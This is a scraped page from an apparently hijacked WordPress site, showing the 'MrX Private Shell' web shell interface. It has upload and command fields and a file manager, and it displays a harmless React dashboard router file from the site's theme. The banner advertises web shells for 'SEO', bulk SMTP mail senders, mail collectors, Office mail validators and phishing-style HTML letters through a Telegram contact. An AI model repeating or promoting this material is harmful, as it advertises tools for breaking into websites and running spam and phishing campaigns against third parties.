__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import {
	useRef,
	createElement,
	useState,
	useEffect,
	useMemo,
	Component,
} from '@wordpress/element'
import DashboardContext, { Provider, getDefaultValue } from './context'
import Heading from './Heading'
import {
	createHashRouter,
	RouterProvider,
	Link,
	useLocation,
	useNavigate,
	useMatch,
	useParams,
	Outlet,
	createRoutesFromElements,
	Route,
} from 'react-router-dom'
import ctEvents from 'ct-events'

window.ctDashboardLocalizations.DashboardContext = DashboardContext

import Navigation from './Navigation'
import Home from './screens/Home'
import RecommendedPlugins from './screens/RecommendedPlugins'
import Changelog from './screens/Changelog'

class ErrorBoundary extends Component {
	state = { hasError: false, error: null }

	static getDerivedStateFromError(error) {
		return { hasError: true, error }
	}

	componentDidCatch(error, errorInfo) {
		console.error('Dashboard Route Error:', error, errorInfo)
		if (this.props.onError) {
			this.props.onError(error, errorInfo)
		}
	}

	render() {
		if (this.state.hasError) {
			return null
		}

		return this.props.children
	}
}

const RouteComponentWrapper = ({ Component, ...props }) => {
	const navigate = useNavigate()
	const location = useLocation()
	const params = useParams()
	const match = useMatch('*')

	return (
		<ErrorBoundary>
			<Component
				{...props}
				{...params}
				navigate={navigate}
				location={location}
				match={match}
			/>
		</ErrorBoundary>
	)
}

const AnimatedOutlet = () => {
	return (
		<div>
			<Outlet />
		</div>
	)
}

const DashboardLayout = () => {
	const navigate = useNavigate()
	const location = useLocation()
	const match = useMatch

	return (
		<Provider
			value={{
				...getDefaultValue(),
				...ctDashboardLocalizations,
				Link,
				useLocation,
				navigate,
				useMatch: match,

				// Add compatibility props that might be expected
				history: { push: navigate, location },
				location,
			}}>
			<header>
				<Heading />
				<Navigation />
			</header>

			<section>
				<AnimatedOutlet />
			</section>
		</Provider>
	)
}

const createDashboardRouter = () => {
	const userRoutes = []

	ctEvents.trigger('ct:dashboard:routes', userRoutes)

	return createHashRouter(
		createRoutesFromElements(
			<Route path="/" element={<DashboardLayout />}>
				<Route index element={<Home />} />
				<Route path="plugins" element={<RecommendedPlugins />} />
				<Route path="changelog" element={<Changelog />} />

				{userRoutes.map(({ Component, key, path, ...props }) => (
					<Route
						key={key || path}
						path={path}
						element={
							<RouteComponentWrapper
								Component={Component}
								{...props}
							/>
						}
					/>
				))}
			</Route>
		)
	)
}

const Dashboard = () => {
	const router = useMemo(() => createDashboardRouter(), [])

	return (
		<RouterProvider
			router={router}
			future={{
				v7_startTransition: true,
			}}
		/>
	)
}

export default Dashboard

Filemanager

Name Type Size Permission Actions
components Folder 0775
screens Folder 0775
Dashboard.js File 2.85 KB 0775
Heading.js File 1.55 KB 0775
Navigation.js File 2.65 KB 0775
context.js File 333 B 0775
main.js File 363 B 0775
Filemanager